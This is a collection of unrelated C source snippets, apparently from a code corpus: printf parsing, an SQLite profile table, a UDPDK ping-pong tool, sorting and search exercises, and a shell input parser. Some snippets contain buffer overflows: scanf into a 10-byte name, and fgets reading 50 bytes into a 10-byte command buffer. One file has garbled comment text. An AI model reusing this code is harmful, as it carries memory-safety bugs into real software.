else if (flag == '-')
tab->minus = 1;
else if (flag == ' ')
tab->space = 1;
else if (flag == '0')
tab->zero = 1;
else if (flag == '+')
tab->plus = 1;
parse(tab, format);
}
/*
** This function checks field width, precision and +-0 # flags.
** The flags function will then add flag info to struct and move
** on to check next flag.
*/
static void parse_three(t_tab *tab, const char *format)
{
char flag;
flag = format[tab->i];
flag > '0' && flag <= '9' ? fix_width(tab, format) : 0;
flag == '*' ? fix_width(tab, format) : 0;
flag == '.' ? fix_precision(tab, format) : 0;
flag == '0' ? flags(tab, format) : 0;
flag == '+' ? flags(tab, format) : 0;
flag == '-' ? flags(tab, format) : 0;
flag == '#' ? flags(tab, format) : 0;
flag == ' ' ? flags(tab, format) : 0;
}
/*
** Parse two handles all the length flags and moves into fix_length.c
** functions.
*/
static void parse_two(t_tab *tab, const char *format)
{
char flag;
flag = format[tab->i];
flag == 'l' && format[tab->i + 1] == 'f' ? fix_f(tab, format) : 0;
flag == 'L' && format[tab->i + 1] == 'f' ? fix_f(tab, format) : 0;
flag == 'h' && format[tab->i + 1] != 'h' ? fix_h(tab, format) : 0;
flag == 'h' && format[tab->i + 1] == 'h' ? fix_hh(tab, format) : 0;
flag == 'l' && format[tab->i + 1] != 'l' ? fix_l(tab, format) : 0;
flag == 'l' && format[tab->i + 1] == 'l' ? fix_ll(tab, format) : 0;
parse_three(tab, format);
}
/*
** This function parses all conversions and refers into their respective
** functions.
*/
void parse(t_tab *tab, const char *format)
{
char flag;
tab->i++;
flag = format[tab->i];
flag == 'i' ? do_the_d(tab) : 0;
flag == 'd' ? do_the_d(tab) : 0;
flag == 'u' ? do_the_u(tab) : 0;
flag == 'x' || flag == 'X' ? do_the_x(tab, flag) : 0;
flag == 'o' ? do_the_o(tab, flag) : 0;
flag == 'c' ? do_the_c(tab) : 0;
flag == 'p' ? do_the_p(tab, flag) : 0;
flag == 's' ? do_the_s(tab) : 0;
flag == 'f' ? do_the_f(tab) : 0;
flag == '%' ? percent_flag(tab) : 0;
parse_two(tab, format);
}
|
C
|
#include "server.h"
void mx_new_table_profiles(sqlite3 *database) {
sqlite3_exec(database, "CREATE TABLE IF NOT EXISTS PROFILES(" \
"USER_ID INTEGER PRIMARY KEY NOT NULL," \
"NAME TEXT NOT NULL," \
"BIRTH TEXT," \
"EMAIL TEXT," \
"STATUS TEXT," \
"COUNTRY TEXT);", 0, 0, 0);
}
int mx_add_profile(sqlite3 *db, t_profile *usr) {
sqlite3_stmt *stmt = NULL;
int rv = sqlite3_prepare_v2(db,
"INSERT INTO PROFILES(USER_ID, NAME, BIRTH, EMAIL, STATUS, \
COUNTRY)VALUES(?1, ?2, ?3, ?4, ?5, ?6);", -1, &stmt, NULL);
if (rv == SQLITE_ERROR)
return -1;
sqlite3_bind_int(stmt, 1, usr->user_id);
sqlite3_bind_text(stmt, 2, usr->name, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 3, usr->birth, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 4, usr->email, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 5, usr->status, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 6, usr->country, -1, SQLITE_STATIC);
if ((rv = sqlite3_step(stmt)) != SQLITE_DONE) {
sqlite3_finalize(stmt);
return -1;
}
sqlite3_finalize(stmt);
return 0;
}
int mx_delete_profile(sqlite3 *db, int user_id) {
sqlite3_stmt *stmt = NULL;
int rv = sqlite3_prepare_v2(db,
"DELETE FROM PROFILES WHERE USER_ID = ?1;", -1, &stmt, NULL);
sqlite3_bind_int(stmt, 1, user_id);
if (rv == SQLITE_ERROR)
return -1;
if ((rv = sqlite3_step(stmt)) != SQLITE_DONE)
return -1;
sqlite3_finalize(stmt);
return 0;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int compar(const void *a, const void *b) {
if (*(char*)a < *(char*)b)
return -1;
if (*(char*)a > *(char*)b)
return 1;
return 0;
}
int isPermutation(char* s1, char* s2) {
int l1 = strlen(s1), l2 = strlen(s2);
if (l1 != l2)
return 0;
char s1cp[l1 + 1], s2cp[l2 + 1];
strcpy(s1cp, s1);
strcpy(s2cp, s2);
qsort(s1cp, l1, 1, compar);
qsort(s2cp, l2, 1, compar);
return strcmp(s1cp, s2cp) == 0;
}
int main() {
printf("%d\n", isPermutation("hello", "there"));
printf("%d\n", isPermutation("hello", "lloeh"));
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand((unsigned int)time(NULL));
char name[10];
int dice1, dice2;
int sumDice;
printf("What is your name?\n> ");
scanf("%s", name);
printf("Hello, %s!\n", name);
dice1 = rand() % 6 + 1;
dice2 = rand() % 6 + 1;
sumDice = dice1 + dice2;
printf("Die 1: %d\n", dice1);
printf("Die 2: %d\n", dice2);
printf("Total value: %d\n", sumDice);
if(sumDice > 7) {
printf("%s won!", name);
}else {
printf("%s lost...", name);
}
return 0;
}
|
C
|
#include <pthread.h>
#include <stdio.h>
void *detachfun(void *arg) {
int i = *((int *)(arg));
if (!pthread_detach(pthread_self()))
return NULL;
fprintf(stderr, "My argument is %d\n", i);
return NULL;
}
|
C
|
/* Common */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <sys/mman.h>
/* System */
#include <unistd.h>
#include <signal.h>
/* Net */
#include <netdb.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* Default port if none is specified */
#define DEFAULT_PORT_ECP 58057
#define DEFAULT_PORT_TES 59000
/*
* This program creates a udp server on a given port an waits for incoming requests
* It offers a shell so you can kill the created server
*/
int main(int argc, char** argv)
{
int port, socket_fd, server_pid;
char cmd[10];
char **parsed_cmd;
if(argc == 1)
port = DEFAULT_PORT_ECP;
else if(argc == 3 && ((strcmp(argv[1],"-p")) == 0))
port = atoi(argv[2]);
else{
printf("ERROR: Wrong input format.\ninput: ./ECP [-p ECPport]\n");
exit(1);
}
/* Create a UDP server on port */
server_pid = start_udp_server(port, &socket_fd);
printf("Server PID: %d\n", server_pid);
printf("Type \"exit\" to terminate server\n");
while(1){
printf("> ");
if ((fgets(cmd, 50, stdin)) == NULL){
perror("[ERROR] no command\n");
continue;
}
parsed_cmd = parseString(cmd, "\n");
if (strcmp(parsed_cmd[0], "exit") == 0){
/* To kill the server child process */
printf("Closing Server...\n");
close(socket_fd);
if (kill(server_pid, SIGTERM) == -1){
perror("[ERROR] Killing Server Process");
free(parsed_cmd);
/* Close server socket */
exit(-1);
}
/* Exit */
free(parsed_cmd);
return 0;
}
else
printf("Wrong command \"%s\".\n", parsed_cmd[0]);
/* Free memory */
free(parsed_cmd);
}
return 0;
}
|
C
|
#include<stdio.h>
int main(){
int * ptr = 0;
char * chptr = 0;
float * fpptr = 0;
double * dbptr = 0;
printf("%d", (int) ++ptr - 0);
printf("\n%d", (int) ++chptr - 0);
printf("\n%d", (int) ++fpptr - 0);
printf("\n%d", (int) ++dbptr - 0);
return 0;
}
|
C
|
#pragma once
// Syntaxe : AT&T
/* desactive les interruptions */
#define DISABLE_IRQ() asm("cli"::)
/* reactive les interruptions */
#define ENABLE_IRQ() asm("sti"::)
/* ecrit un octet sur un port */
#define outb(port,value) \
asm volatile ("outb %%al, %%dx" :: "d" (port), "a" (value));
/* ecrit un octet sur un port et marque une temporisation */
#define outbp(port,value) \
asm volatile ("outb %%al, %%dx; jmp 1f; 1:" :: "d" (port), "a" (value));
/* lit un octet sur un port */
#define inb(port) ({ \
unsigned char _v; \
asm volatile ("inb %%dx, %%al" : "=a" (_v) : "d" (port)); \
_v; \
})
/* ecrit un mot de 16 bits sur un port */
#define outw(port,value) \
asm volatile ("outw %%ax, %%dx" :: "d" (port), "a" (value));
/* lit un mot de 16 bits sur un port */
#define inw(port) ({ \
u16 _v; \
asm volatile ("inw %%dx, %%ax" : "=a" (_v) : "d" (port)); \
_v; })
|
C
|
#include <stdio.h>
#define INCHES_PER_POUND 166
int main(void)
{
int height, length, width, volumn, weight;
printf("Input the height: \n");
scanf("%d", &height);
printf("Input the length: \n");
scanf("%d", &length);
printf("Input the width: \n");
scanf("%d", &width);
/* calculate the volumn */
volumn = height * length * width;
weight = volumn / INCHES_PER_POUND + 1;
printf("The total volumn is %d \n", volumn);
printf("The dimentional weight is %d \n", weight);
return 0;
}
|
C
|
#include "search_algos.h"
/**
* print_array - prints the array
* @array: pointer to the first element of the array
* @lo: first element
* @hi: last element
*/
void print_array(int *array, int lo, int hi)
{
int i;
printf("Searching in array: ");
for (i = lo; i <= hi; i++)
{
if (i == lo)
printf("%d", array[i]);
else
printf(", %d", array[i]);
}
printf("\n");
}
/**
* search - searches for a number
* @array: pointer to first element of list
* @lo: lowest number in array
* @hi: highest number in array
* @value: number in search
* Return: index of value found
*/
int search(int *array, int lo, int hi, int value)
{
int mid = (lo + hi) / 2;
print_array(array, lo, hi);
if (hi == lo && array[lo] != value)
return (-1);
if (array[mid] == value)
return (mid);
if (array[mid] > value)
return (search(array, lo, mid - 1, value));
else
return (search(array, mid + 1, hi, value));
}
/**
* binary_search - searches for a number in a sorted array
* @array: pointer to the first element of the list
* @size: size of the array
* @value: number being searched for
* Return: the index of the number in query or -1 if fail
*/
int binary_search(int *array, size_t size, int value)
{
int lo = 0;
int hi = (int) size;
if (size == 0 || !array)
return (-1);
return (search(array, lo, hi - 1, value));
}
|
C
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct strbuf {size_t alloc; int /*<<< orphan*/ buf; } ;
/* Variables and functions */
scalar_t__ EACCES ;
scalar_t__ ERANGE ;
size_t PATH_MAX ;
scalar_t__ errno ;
scalar_t__ getcwd (int /*<<< orphan*/ ,size_t) ;
int /*<<< orphan*/ strbuf_grow (struct strbuf*,size_t) ;
int /*<<< orphan*/ strbuf_release (struct strbuf*) ;
int /*<<< orphan*/ strbuf_reset (struct strbuf*) ;
int /*<<< orphan*/ strbuf_setlen (struct strbuf*,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ strlen (int /*<<< orphan*/ ) ;
int strbuf_getcwd(struct strbuf *sb)
{
size_t oldalloc = sb->alloc;
size_t guessed_len = 128;
for (;; guessed_len *= 2) {
strbuf_grow(sb, guessed_len);
if (getcwd(sb->buf, sb->alloc)) {
strbuf_setlen(sb, strlen(sb->buf));
return 0;
}
/*
* If getcwd(3) is implemented as a syscall that falls
* back to a regular lookup using readdir(3) etc. then
* we may be able to avoid EACCES by providing enough
* space to the syscall as it's not necessarily bound
* to the same restrictions as the fallback.
*/
if (errno == EACCES && guessed_len < PATH_MAX)
continue;
if (errno != ERANGE)
break;
}
if (oldalloc == 0)
strbuf_release(sb);
else
strbuf_reset(sb);
return -1;
}
|
C
|
#include "sna.h"
#include <conio.h>
#include <windows.h>
void os_clean()
{
int x, y;
HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE);
x = y = 0;
static HANDLE hConsole = 0;
static int InstanceCount = 0;
COORD coord;
if (!InstanceCount) {
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
InstanceCount = 1;
}
coord.X = x, coord.Y = y;
SetConsoleCursorPosition(hConsole, coord);
CONSOLE_CURSOR_INFO cursor_info = { 1,0 };
SetConsoleCursorInfo(hout, &cursor_info);
}
void gotoxy(int xpos, int ypos)
{
COORD scrn;
HANDLE hOuput = GetStdHandle(STD_OUTPUT_HANDLE);
scrn.X = xpos; scrn.Y = ypos;
SetConsoleCursorPosition(hOuput,scrn);
}
int os_keyboard()
{
static int n = UP;
if (_kbhit())
{
_getch();
switch (_getch())
{
case UP:
n = UP;
break;
case DOWN:
n = DOWN;
break;
case LEFT:
n = LEFT;
break;
case RIGHT:
n = RIGHT;
break;
}
}
return n;
}
void os_sleep(int n)
{
Sleep(n);
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define MAX_STACK_SIZE 2
typedef struct Stack{
int top;
int* value;
int capacity;
}stack;
// ΰ ť ⺻ ̵
//1.Լ Ű ϳ Է ٰ ٸ ű ǹǷ
//ű⼭ ٽ popŰ deQueue Ѵ.
//2. ̹Ƿ
// ϴ ð ϴ
//enQueueÿ enQ ÿ 빰
//deQueueÿ ǰ deQ ÿ Ű popѴ.
//3.FULL Ǹ ι ø ۾ ׳ pushҶ ã
//ÿ뷮 ιָ ȴ.
// ž Ű澲 ϴ Ȱ ̴.
stack createStack(void)
{
stack newStack;
newStack.top = -1;
newStack.capacity = MAX_STACK_SIZE;
newStack.value = (int*)malloc(sizeof(int)*newStack.capacity);
memset(newStack.value, 0, sizeof(int)*newStack.capacity);
return newStack;
}
int freeStack(stack *stackPtr)
{
if (stackPtr->value)
{
free(stackPtr->value);
stackPtr->top = -1;
return 0;
}
else return -1;
}
int stackIsEmpty(stack stack)
{
return (stack.top + 1 <= 0);
}
int stackIsFull(stack stack)
{
return (stack.top >= stack.capacity - 1);
}
void stackExtension(stack* stackPtr)
{
int* newValue = (int*)malloc(sizeof(int)*(stackPtr->capacity)* 2);
memset(newValue, 0, sizeof(int)*(stackPtr->capacity) * 2);
for (int i = 0; i < stackPtr->capacity; i++)
{
newValue[i] = stackPtr->value[i];
}
free(stackPtr->value);
stackPtr->value = newValue;
stackPtr->capacity *= 2;
}
int stackPush(stack* stackPtr, int input)
{
if (stackIsFull(*stackPtr))
{
stackExtension(stackPtr);
}
stackPtr->value[++(stackPtr->top)] = input;
return 0;
}
int stackPop(stack* stackPtr)
{
int pop;
if (stackIsEmpty(*stackPtr)) {
printf("IS EMPTY ERROR!!\n");
return -1;
}
else {
pop = stackPtr->value[stackPtr->top];
stackPtr->value[stackPtr->top--] = 0;
return pop;
}
}
int stack2Stack(stack* fromPtr, stack* toPtr)
{
while (!stackIsEmpty(*fromPtr))
{
stackPush(toPtr, stackPop(fromPtr));
}
return 0;
}
// enQ Ҷ stack2Stack ѹ stackPush ѹ
//stackPush ѹҶ ð 1
//stack2Stackϸ from ִ ŭ popϰ pushϹǷ
//־ (from full ) ð n
//ü ð O(n)
int enQueue(stack* inputStackPtr, stack* outputStackPtr, int input)
{
stack2Stack(outputStackPtr, inputStackPtr);
return stackPush(inputStackPtr, input);
}
//ѹ deQ Ҷ stack2Stack ѹ stackPop ѹ
//stackPop ѹҶ ð 1
//stack2Stackϸ from ִ ŭ popϰ pushϹǷ
//־ (from full ) ð n
//ü ð O(n)
int deQueue(stack* inputStackPtr, stack* outputStackPtr)
{
stack2Stack(inputStackPtr, outputStackPtr);
return stackPop(outputStackPtr);
}
void testQueue(stack inputStack, stack outputStack)
{
printf("\nTEST INPUTSTACK\n");
for (int i = 0; i < inputStack.capacity; i++)
{
printf("%2d", inputStack.value[i]);
}
printf(" \n");
printf("\nTEST OUTPUTSTACK\n");
for (int i = 0; i < outputStack.capacity; i++)
{
printf("%2d", outputStack.value[i]);
}
printf(" \n");
return;
}
int main(void)
{
int idx = 0;
int input = 0;
int output = 0;
stack inputStack = createStack();
stack outputStack = createStack();
while (1)
{
system("cls");
testQueue(inputStack, outputStack);
printf(" Է (0̸ deQueue): ");
scanf("%d", &input);
if (input) enQueue(&inputStack, &outputStack, input);
else
{
output = deQueue(&inputStack, &outputStack);
if (output != -1)
{
printf("\nOUT QUE : %d\n", output);
getchar();
getchar();
}
}
}
return 0;
}
|
C
|
#include "util.h"
#ifndef GEN_LLIST
#define GEN_LLIST
typedef struct llist_node node;
/* Generic linked list node */
struct llist_node {
void* data;
node* next;
};
/* Supported operations: initialise list, add element, sorted add element,
get element, delete element, count, unload list
*/
/* initialise the list head, returns pointer to a node */
node** ll_init_list();
/* add an element in sort order */
bool ll_sorted_insert(node** head, void* data,
bool(*cmp_data)(void* data_a, void* data_b));
/* get an element by some sort of id */
void* ll_retrieve(node** head, int id, int(*get_id)(void* data));
/* delete an element */
bool ll_delete(node** head, int id, int(*get_id)(void* data));
/* count elements (list length) */
int ll_count(node** head);
/* print all elements in list order */
void ll_print(node** list, void(*print_fn)(void* data));
/* destroy the whole list */
void ll_destroy(node** head);
/* generate a fresh new node wrapper for data and next pointer */
node* gen_node(void* data);
#endif
|
C
|
#ifndef GAMEUTILS_H
#define GAMEUTILS_H
#include "Headers.h"
#define Pi (float)3.1415926535
#define Rad2Deg (float)180.0f/Pi
#define PiDiv2 (float)Pi/2.0f
#define PiDiv3 (float)Pi/3.0f
inline int Abs(int Value)
{
static const int INT_BITS = sizeof(int) * 8;
int TopBit = Value >> (INT_BITS - 1);
return (Value ^ TopBit) - TopBit;
}
//rounding float->int delphi style
static inline int Round (float const x)
{ // Round to nearest integer
#ifdef _AMD64
return (int) x;
#else
int n;
__asm fld dword ptr x;
__asm fistp dword ptr n;
return n;
#endif
};
//int Random(unsigned int n){return rand()%n};
float GetDistance(const int X1,const int Y1,const int X2,const int Y2);
float ComputeAngle(const float x,const float y);
int Angle2Dir(int Ang); //take an angle in degree
int RadToDeg(const float n);
//the function that pack all in one :
//network packet direction
int ComputeDirection(const int x,const int y);
int ComputeDirection(const float x,const float y);
//Sprite Direction
int ComputeSpriteDirection(const int x,const int y);
inline unsigned long Random(const unsigned long n){return rand()%n;};
//for n=32 return a -32 -> 32 int with a pseudo gaussian distribution
int GaussRandom(const unsigned long n);
//random float functions
float RandFloat01(void); //between 0 ->1
float RandFloat1m1(void); //between -1 ->1
#endif
|
C
|
#include<stdio.h>
struct main_var {
int* x;
int* y;
};
struct main_var main_v = { NULL, NULL };
void funcHasNoLabelStmt() {
int x = 5;
int i;
for ( i=0; i<5; i++ ) {
printf("%d ", x+i);
}
printf("\n");
}
void foo ()
{
printf("x inside foo = %d\n", (*main_v.x));
printf("Incrementing x inside foo\n");
(*main_v.x)++;
}
void bar ()
{
printf("y inside bar = %d\n", (*main_v.y));
printf("Incrementing y inside bar\n");
(*main_v.y)++;
}
int main() {
printf("This test case program demonstrate - \n(1) multiple closures are handled\n(2) Functions without label statements remain unchanged.\n");
int x = 3, y = 4;
main_v.x = &x;
main_v.y = &y;
printf("x before calling foo = %d\n", x);
foo();
printf("x after calling foo = %d\n", x);
printf("y before calling bar = %d\n", y);
bar();
printf("y after calling bar = %d\n", y);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* preliminary_parse.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: ale-goff <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/18 13:34:40 by ale-goff #+# #+# */
/* Updated: 2018/12/03 19:10:22 by ale-goff ### ########.fr */
/* */
/* ************************************************************************** */
#include "parser.h"
int interpret_token(t_token_lst **head, const char *input,
int *p, int errors)
{
int tmp;
static t_token info;
init_token_info(&info);
tmp = *p;
info.type = classify_token(input[tmp]);
if (info.type == T_COMMENT)
{
info.status = skip_to_end_of_line(input, &tmp);
}
else if (info.type == T_AND || info.type == T_PIPE || info.type == T_SEMI
|| info.type == T_RED)
{
if ((info.status = pull_operator(head, input, &tmp, errors)) == -1)
return (-1);
}
else
{
if ((info.status = pull_token(head, input, &tmp, errors)) == -1)
return (-1);
}
*p = tmp;
return (info.status);
}
t_token_lst *interpret_input(const char *input,
int *token_completion, int errors)
{
int p;
t_token_lst *arguments;
p = 0;
arguments = NULL;
while (input[p])
{
if (IS_SPACE(input[p]))
p = skip_whitespace(input, p);
else
*token_completion = interpret_token(&arguments, input, &p, errors);
if (*token_completion == -1)
return (NULL);
}
if (*token_completion == SEEKING_END)
{
if (arguments)
free_list(arguments);
arguments = NULL;
}
return (arguments);
}
t_token_lst *split_args(char *input, int activate_errors)
{
t_token_lst *arguments;
int token_completion;
arguments = interpret_input(input, &token_completion, activate_errors);
return (arguments);
}
void remove_back_slash(char *input)
{
int i;
i = 0;
while (input[i])
{
if (i > 0 && input[i - 1] == '\\' && input[i] == '\n')
{
ft_memmove(input + i, input + i + 1, ft_strlen(input) - i);
return ;
}
i++;
}
}
t_tree *parse(char *input)
{
t_token_lst *arguments;
t_nodes *traverse;
t_tree *ast;
remove_back_slash(input);
if (check_input(input))
return (NULL);
arguments = split_args(input, 1);
if (arguments == NULL)
return (NULL);
if (expand_tokens(&arguments, 1))
return (NULL);
traverse = arguments->head;
ast = build_tree(traverse);
if (arguments)
free_list(arguments);
return (ast);
}
|
C
|
#include<stdio.h>
int main()
{
int i,alive;
int a[10];
for(i=0;i<10;i++)
a[i]=i+1;
alive=kill(a);
printf("remain people is :%d\n",alive);
return 0;
}
int kill(int a[])
{
int i=0,k=0;
int alive = 10; //people alive
while(1)
{
int j=0;
alive = 0;
for(j=0;j<10;j++)
if(0 != a[j])//number of alive people
{
alive++;
}
if (1==alive)
{
for(j=0;j<10;j++)
if(0 != a[j])//number of alive people
return a[j];
}
if(a[i]!=0)
{
k++;
if(k == 3) //count people
{
k = 0;
printf("%d\n",a[i]);
a[i]=0; //kill a[i]
}
}
i++;
if(i==10)
i %=10;//if more than 10 ,count again
// printf(" %d\n",i);
}
}
|
C
|
/*
chapter 27 exercise 14
page 1034
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct Results {
int smallest;
int largest;
double median;
double mean;
}Results;
int comparator(const void* elem1, const void* elem2)
{
return (*(int*)elem2) < (*(int*)elem1);
}
Results find_results(int* array, size_t size)
{
int i;
Results result = {0,0,0.0,0.0};
qsort(array,size,sizeof(*array),&comparator);
result.smallest = *array;
result.largest = *(array+size-1);
for (i = 0; i < size; ++i)
result.mean += *(array+i);
result.mean /= size;
if (size % 2)
result.median = *(array+(size/2));
else
result.median = (*(array+(size/2)) + *(array+(size/2-1))) / 2;
return result;
}
int main(void)
{
int arr[] = {2,6,10,11,64,45,1,0,51,20,15,65};
Results result = find_results(arr,sizeof(arr)/sizeof(*arr));
printf("The smallest element is: %d\n", result.smallest);
printf("The largest element is: %d\n", result.largest);
printf("The median is: %g\n", result.median);
printf("The mean is: %g\n", result.mean);
return 0;
}
|
C
|
//
// Created by leoll2 on 10/4/20.
// Copyright (c) 2020 Leonardo Lai. All rights reserved.
//
// Options:
// -f <func> : function ('ping' or 'pong')
//
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <udpdk_api.h>
#define PORT_PING 10000
#define PORT_PONG 10001
#define IP_PONG "172.31.100.1"
typedef enum {PING, PONG} app_mode;
static app_mode mode = PING;
static volatile int app_alive = 1;
static const char *progname;
static void signal_handler(int signum)
{
printf("Caught signal %d in pingpong main process\n", signum);
udpdk_interrupt(signum);
app_alive = 0;
}
static void ping_body(void)
{
struct sockaddr_in servaddr, destaddr;
struct timespec ts, ts_msg, ts_now;
int n;
printf("PING mode\n");
// Create a socket
int sock;
if ((sock = udpdk_socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "Ping: socket creation failed");
return;
}
// Bind it
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = INADDR_ANY;
servaddr.sin_port = htons(PORT_PING);
if (udpdk_bind(sock, (const struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
fprintf(stderr, "bind failed");
return;
}
while (app_alive) {
printf(("Application loop\n"));
// Send ping
printf("Sending ping\n");
destaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = inet_addr(IP_PONG);
destaddr.sin_port = htons(PORT_PONG);
clock_gettime(CLOCK_REALTIME, &ts);
udpdk_sendto(sock, (void *)&ts, sizeof(struct timespec), 0,
(const struct sockaddr *) &destaddr, sizeof(destaddr));
// Get pong response
n = udpdk_recvfrom(sock, (void *)&ts_msg, sizeof(struct timespec), 0, NULL, NULL);
if (n > 0) {
clock_gettime(CLOCK_REALTIME, &ts_now);
ts.tv_sec = ts_now.tv_sec - ts_msg.tv_sec;
ts.tv_nsec = ts_now.tv_nsec - ts_msg.tv_nsec;
if (ts.tv_nsec < 0) {
ts.tv_nsec += 1000000000;
ts.tv_sec--;
}
printf("Received pong; delta = %d.%09d seconds\n", (int)ts.tv_sec, (int)ts.tv_nsec);
}
sleep(1);
}
}
static void pong_body(void)
{
int sock, n;
struct sockaddr_in servaddr, cliaddr;
struct timespec ts_msg;
printf("PONG mode\n");
// Create a socket
if ((sock = udpdk_socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "Pong: socket creation failed");
return;
}
// Bind it
memset(&servaddr, 0, sizeof(servaddr));
memset(&cliaddr, 0, sizeof(cliaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = INADDR_ANY;
servaddr.sin_port = htons(PORT_PONG);
if (udpdk_bind(sock, (const struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
fprintf(stderr, "Pong: bind failed");
return;
}
while (app_alive) {
// Bounce incoming packets
int len = sizeof(cliaddr);
n = udpdk_recvfrom(sock, (void *)&ts_msg, sizeof(struct timespec), 0, ( struct sockaddr *) &cliaddr, &len);
if (n > 0) {
udpdk_sendto(sock, (void *)&ts_msg, sizeof(struct timespec), 0, (const struct sockaddr *) &cliaddr, len);
}
}
}
static void usage(void)
{
printf("%s -c CONFIG -f FUNCTION \n"
" -c CONFIG: .ini configuration file"
" -f FUNCTION: 'ping' or 'pong'\n"
, progname);
}
static int parse_app_args(int argc, char *argv[])
{
int c;
progname = argv[0];
while ((c = getopt(argc, argv, "c:f:")) != -1) {
switch (c) {
case 'c':
// this is for the .ini cfg file needed by DPDK, not by the app
break;
case 'f':
if (strcmp(optarg, "ping") == 0) {
mode = PING;
} else if (strcmp(optarg, "pong") == 0) {
mode = PONG;
} else {
fprintf(stderr, "Unsupported function %s (must be 'ping' or 'pong')\n", optarg);
return -1;
}
break;
default:
fprintf(stderr, "Unknown option `-%c'.\n", optopt);
usage();
return -1;
}
}
return 0;
}
int main(int argc, char *argv[])
{
int retval;
// Register signals for shutdown
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
// Initialize UDPDK
retval = udpdk_init(argc, argv);
if (retval < 0) {
goto pingpong_end;
return -1;
}
sleep(2);
printf("App: UDPDK Intialized\n");
// Parse app-specific arguments
printf("Parsing app arguments...\n");
retval = parse_app_args(argc, argv);
if (retval != 0) {
goto pingpong_end;
return -1;
}
if (mode == PING) {
ping_body();
} else {
pong_body();
}
pingpong_end:
udpdk_interrupt(0);
udpdk_cleanup();
return 0;
}
|
C
|
//INSERTION SORT is a simple sorting algorithm that builds the final sorted array (or list) one item at a time.
#include <stdio.h>
#include<conio.h>
#define size 5
void insertion_sort (int array[], int n);
int main ()
{
int i, n, array[size];
// clrscr() It is a predefined function in "conio.h" (console input output header file) used to clear the console screen
printf("/n Enter the number of elements in the array: "); // ask for input
scanf ("%d",&n);
printf("write the elements in the array: \n"); // ask for the elements try to sort some high and low numbers
for (i=0; i<n ; i++) // add input in the array
{
scanf("%d", &array[i]);
}//end for
insertion_sort(array, n);
printf("\n The array sorted is: \n");
for (i=0; i<n ; i++)
printf("%d\t", array[i]);
getchar();
return 0;
}
void insertion_sort ( int array[], int n)
{
int i, j , temp;
for ( i = 0 ; i<n ; i++) // i start from zerp and has to be < than n user input and then increment in the loop
{
//j will start zero has to be less than (n-i-1) and increment in the loop
temp = array[i]; // temp becomes the number in the array
j = i-1; //number in the array goes to the next position
// then the temporary number will be the one in the next position
while (temp< array[j] && j >=0)
{
array[j+1] = array [j];
j--;
}
array[j+1] = temp;
}//end for
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* main.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: curquiza <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/08/17 18:11:33 by curquiza #+# #+# */
/* Updated: 2016/08/18 14:18:58 by curquiza ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
#include "op.h"
#include "display.h"
int ft_check_op(char *op)
{
int i;
i = 0;
while (op[i] != '\0')
i++;
if (i == 1)
{
if (op[0] == '+' || op[0] == '-' || op[0] == '*' || op[0] == '/'
|| op[0] == '%')
return (1);
else
return (0);
}
else
return (0);
}
int ft_atoi(char *str)
{
int test_neg;
int i;
int result;
i = 0;
test_neg = 1;
result = 0;
while (str[i] == '\n' || str[i] == '\t' || str[i] == ' ')
i++;
if (str[i] == '+')
i++;
else if (str[i] == '-')
{
test_neg = -1;
i++;
}
while (str[i] >= 48 && str[i] <= 57)
{
result = result * 10;
result = result + str[i] - 48;
i++;
}
return (test_neg * result);
}
void ft_init(char *tab, int (*f[5])(int, int))
{
f[0] = &ft_add;
f[1] = &ft_sous;
f[2] = &ft_mult;
f[3] = &ft_div;
f[4] = &ft_mod;
tab[0] = '+';
tab[1] = '-';
tab[2] = '*';
tab[3] = '/';
tab[4] = '%';
}
int main(int argc, char **argv)
{
int (*f[5])(int, int);
char tab[5];
int i;
ft_init(tab, f);
i = -1;
if (argc != 4)
return (0);
if (ft_check_op(argv[2]) == 0)
{
write(1, "0\n", 2);
return (0);
}
while (i++ < 6)
if (argv[2][0] == tab[i])
{
if (argv[2][0] == '/' && ft_atoi(argv[3]) == 0)
ft_putstr("Stop : division by zero");
else if (argv[2][0] == '%' && ft_atoi(argv[3]) == 0)
ft_putstr("Stop : modulo by zero");
else
ft_putnbr(f[i](ft_atoi(argv[1]), ft_atoi(argv[3])));
ft_putchar('\n');
}
return (0);
}
|
C
|
/***
*fdopen.c - open a file descriptor as stream
*
